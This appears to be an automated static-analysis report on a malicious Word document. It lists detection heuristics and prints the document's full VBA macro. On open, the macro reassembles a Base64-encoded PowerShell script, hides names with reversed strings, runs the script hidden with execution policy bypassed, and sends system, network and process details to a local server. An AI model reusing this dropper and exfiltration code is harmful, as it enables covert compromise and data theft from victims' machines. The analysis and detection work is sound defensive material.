Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 13da58c903760a20…

MALICIOUS

Office (OOXML) / .DOCX

40.4 KB Created: 2026-06-08 17:34:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-11
MD5: 7b37fb1952c1ddb48bd692a64b76d56b SHA-1: 4bfb77c987e7602777b8960c6885d32ef13530fe SHA-256: 13da58c903760a200f1801e5966a5b7dd6b0aa44302f469028747916570dd3bd
378 Risk Score

Heuristics 11

  • VBA project inside OOXML medium 8 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim fso As Object, tmp As Object, shell As Object
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set shell = CreateObject("WScript.Shell")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        shell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File """ & path & """", 0, True
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
    Matched line in script
        Dim fso As Object, tmp As Object, shell As Object
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
                    Set fso = CreateObject("Scripting.FileSystemObject")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AutoOpen"
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
                    path = Environ(StrReverse("PMET")) & "\" & fileName   ' "TEMP" reversed
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://127.0.0.1:1080/ Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5402 bytes
SHA-256: dba4aa20a4934c5d7e6fb35e1728654b7eeace8c4ee21318caddd344028ce5f0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Sub AutoOpen()
    RunPS
End Sub

Sub RunPS()
    Dim chunks(1 To 35) As String
    Dim full As String
    Dim i As Integer
    Dim fso As Object, tmp As Object, shell As Object
    Dim path As String
    
    ' ----- PowerShell script (corrected) base64 encoded, split into ~256 char chunks -----
    chunks(1) = "JFNlcnZlclVybCA9ICdodHRwOi8vMTI3LjAuMC4xOjEwODAvJw0KJFJlcG9ydCA9IEAoKQ0KJFJl"
    chunks(2) = "cG9ydCArPSAnPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09"
    chunks(3) = "PT09PScNClJFcG9ydCArPSAnU1lTVEVNIFJFUE9SVCcNCiRSZXBvcnQgKz0gJ0dlbmVyYXRlZDog"
    chunks(4) = "JyArIChHZXQtRGF0ZSkNCiRSZXBvcnQgKz0gJz09PT09PT09PT09PT09PT09PT09PT09PT09PT09"
    chunks(5) = "PT09PT09PT09PT09PT09PT09PT09PT0nDQokUmVwb3J0ICs9ICcnDQokUmVwb3J0ICs9ICc9PT09"
    chunks(6) = "PSBDT01QVVRFUiBJTkZPID09PT09Jw0KJFJlcG9ydCArPSAoR2V0LUNvbXB1dGVySW5mbyB8IE91"
    chunks(7) = "dC1TdHJpbmcpDQokUmVwb3J0ICs9ICc9PT09PSBPUEVSQVRJTkcgU1lTVEVNID09PT09Jw0KJFJl"
    chunks(8) = "cG9ydCArPSAoR2V0LUNpbUluc3RhbmNlIFdpbjMyX09wZXJhdGluZ1N5c3RlbSB8IEZvcm1hdC1M"
    chunks(9) = "aXN0IENhcHRpb24sVmVyc2lvbixCdWlsZE51bWJlcixPU0FyY2hpdGVjdHVyZSxMYXN0Qm9vdFVw"
    chunks(10) = "VGltZSB8IE91dC1TdHJpbmcpDQokUmVwb3J0ICs9ICc9PT09PSBCSU9TID09PT09Jw0KJFJlcG9y"
    chunks(11) = "dCArPSAoR2V0LUNpbUluc3RhbmNlIFdpbjMyX0JJT1MgfCBGb3JtYXQtTGlzdCBNYW51ZmFjdHVy"
    chunks(12) = "ZXIsU01CSU9TQmlvc1ZlcnNpb24sUmVsZWFzZURhdGUgfCBPdXQtU3RyaW5nKQ0KJFJlcG9ydCAr"
    chunks(13) = "PSAnPT09PT0gQ1BVID09PT09Jw0KJFJlcG9ydCArPSAoR2V0LUNpbUluc3RhbmNlIFdpbjMyX1By"
    chunks(14) = "b2Nlc3NvciB8IEZvcm1hdC1MaXN0IE5hbWUsTWFudWZhY3R1cmVyLE51bWJlck9mQ29yZXMsTnVt"
    chunks(15) = "YmVyT2ZMb2dpY2FsUHJvY2Vzc29ycyB8IE91dC1TdHJpbmcpDQokUmVwb3J0ICs9ICc9PT09PSBN"
    chunks(16) = "RU1PUlkgPT09PT0nDQokUmVwb3J0ICs9IChHZXQtQ2ltSW5zdGFuY2UgV2luMzJfUGh5c2ljYWxN"
    chunks(17) = "ZW1vcnkgfCBGb3JtYXQtVGFibGUgTWFudWZhY3R1cmVyLENhcGFjaXR5LFNwZWVkIC1BdXRvU2l6"
    chunks(18) = "ZSB8IE91dC1TdHJpbmcpDQokUmVwb3J0ICs9ICc9PT09PSBESVNLUyA9PT09PScNCiRSZXBvcnQg"
    chunks(19) = "Kz0gKEdldC1DaW1JbnN0YW5jZSBXaW4zMl9Mb2dpY2FsRGlzayB8IEZvcm1hdC1UYWJsZSBEZXZp"
    chunks(20) = "Y2VJRCxWb2x1bWVOYW1lLEZpbGVTeXN0ZW0sQHtMYWJlbD0nU2l6ZShHQiknO0V4cHJlc3Npb249"
    chunks(21) = "e1ttYXRoXTo6Um91bmQoJF8uU2l6ZS8xR0IsMil9fSxAe0xhYmVsPSdGcmVlKEdCKSc7RXhwcmVz"
    chunks(22) = "c2lvbj17W21hdGhdOjpSb3VuZCgkXy5GcmVlU3BhY2UvMUdCLDIpfX0gLUF1dG9TaXplIHwgT3V0"
    chunks(23) = "LVN0cmluZykNCiRSZXBvcnQgKz0gJz09PT09IE5FVFdPUksgPT09PT0nDQokUmVwb3J0ICs9IChH"
    chunks(24) = "ZXQtQ2ltSW5zdGFuY2UgV2luMzJfTmV0d29ya0FkYXB0ZXJDb25maWd1cmF0aW9uIHwgV2hlcmUt"
    chunks(25) = "T2JqZWN0IHsgJF8uSVBFbmFibGVkIH0gfCBGb3JtYXQtTGlzdCBEZXNjcmlwdGlvbixNQUNBZGRy"
    chunks(26) = "ZXNzLElQQWRkcmVzcyxEZWZhdWx0SVBHYXRld2F5LEROU1NlcnZlclNlYXJjaE9yZGVyIHwgT3V0"
    chunks(27) = "LVN0cmluZykNCiRSZXBvcnQgKz0gJz09PT09IEdQVSA9PT09PScNCiRSZXBvcnQgKz0gKEdldC1D"
    chunks(28) = "aW1JbnN0YW5jZSBXaW4zMl9WaWRlb0NvbnRyb2xsZXIgfCBGb3JtYXQtTGlzdCBOYW1lLEFkYXB0"
    chunks(29) = "ZXJSQU0sRHJpdmVyVmVyc2lvbiB8IE91dC1TdHJpbmcpDQokUmVwb3J0ICs9ICc9PT09PSBSVU5O"
    chunks(30) = "SU5HIFBST0NFU1NFUyA9PT09PScNCiRSZXBvcnQgKz0gKEdldC1Qcm9jZXNzIHwgU29ydC1PYmpl"
    chunks(31) = "Y3QgUHJvY2Vzc05hbWUgfCBTZWxlY3QtT2JqZWN0IC1GaXJzdCAzMCB8IE91dC1TdHJpbmcpDQok"
    chunks(32) = "U3lzdGVtSW5mb1RleHQgPSAkUmVwb3J0IC1qb2luICJgcgBuIg0KdHJ5IHsNCiAgICBJbnZva2Ut"
    chunks(33) = "UmVzdE1ldGhvZCAtVXJpICRTRVJWRVJVUkwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRTeXN0ZW1JbmZv"
    chunks(34) = "VGV4dCAtQ29udGVudFR5cGUgJ3RleHQvcGxhaW47IGNoYXJzZXQ9dXRmLTgnDQp9IGNhdGNoIHsN"
    chunks(35) = "CiAgICBleGl0IDEgDQp9"
    
    ' Combine chunks
    full = ""
    For i = 1 To 35
        full = full & chunks(i)
    Next i
    
    ' Decode Base64 and write to 1.jpeg
                ' "1.ps1" reversed is "1sp.1"
                Dim revName As String
                revName = "1sp.1"
                Dim fileName As String
                fileName = StrReverse(revName)   ' becomes "1.ps1"
                
                Set fso = CreateObject("Scripting.FileSystemObject")
                path = Environ(StrReverse("PMET")) & "\" & fileName   ' "TEMP" reversed
                Set tmp = fso.CreateTextFile(path, True)
                tmp.Write DecodeBase64(full)
                tmp.Close
    
    ' Execute PowerShell hidden
    Set shell = CreateObject("WScript.Shell")
    shell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File """ & path & """", 0, True
    
    ' Cleanup (optional)
    On Error Resume Next
    fso.DeleteFile path
    On Error GoTo 0
End Sub

Function DecodeBase64(ByVal s As String) As String
    Dim d As Object, node As Object
    ' Add padding
    Do While Len(s) Mod 4 <> 0
        s = s & "="
    Loop
    Set d = CreateObject("MSXML2.DOMDocument")
    Set node = d.CreateElement("tmp")
    node.DataType = "bin.base64"
    node.Text = s
    DecodeBase64 = StrConv(node.NodeTypedValue, vbUnicode)
    Set node = Nothing
    Set d = Nothing
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 36352 bytes
SHA-256: 0671bc1d732cac54139f38970f14cfa9a53c321bd5ed1a64a8f3111f1745170a

Open this report in the interactive analyzer, or submit your own file for analysis.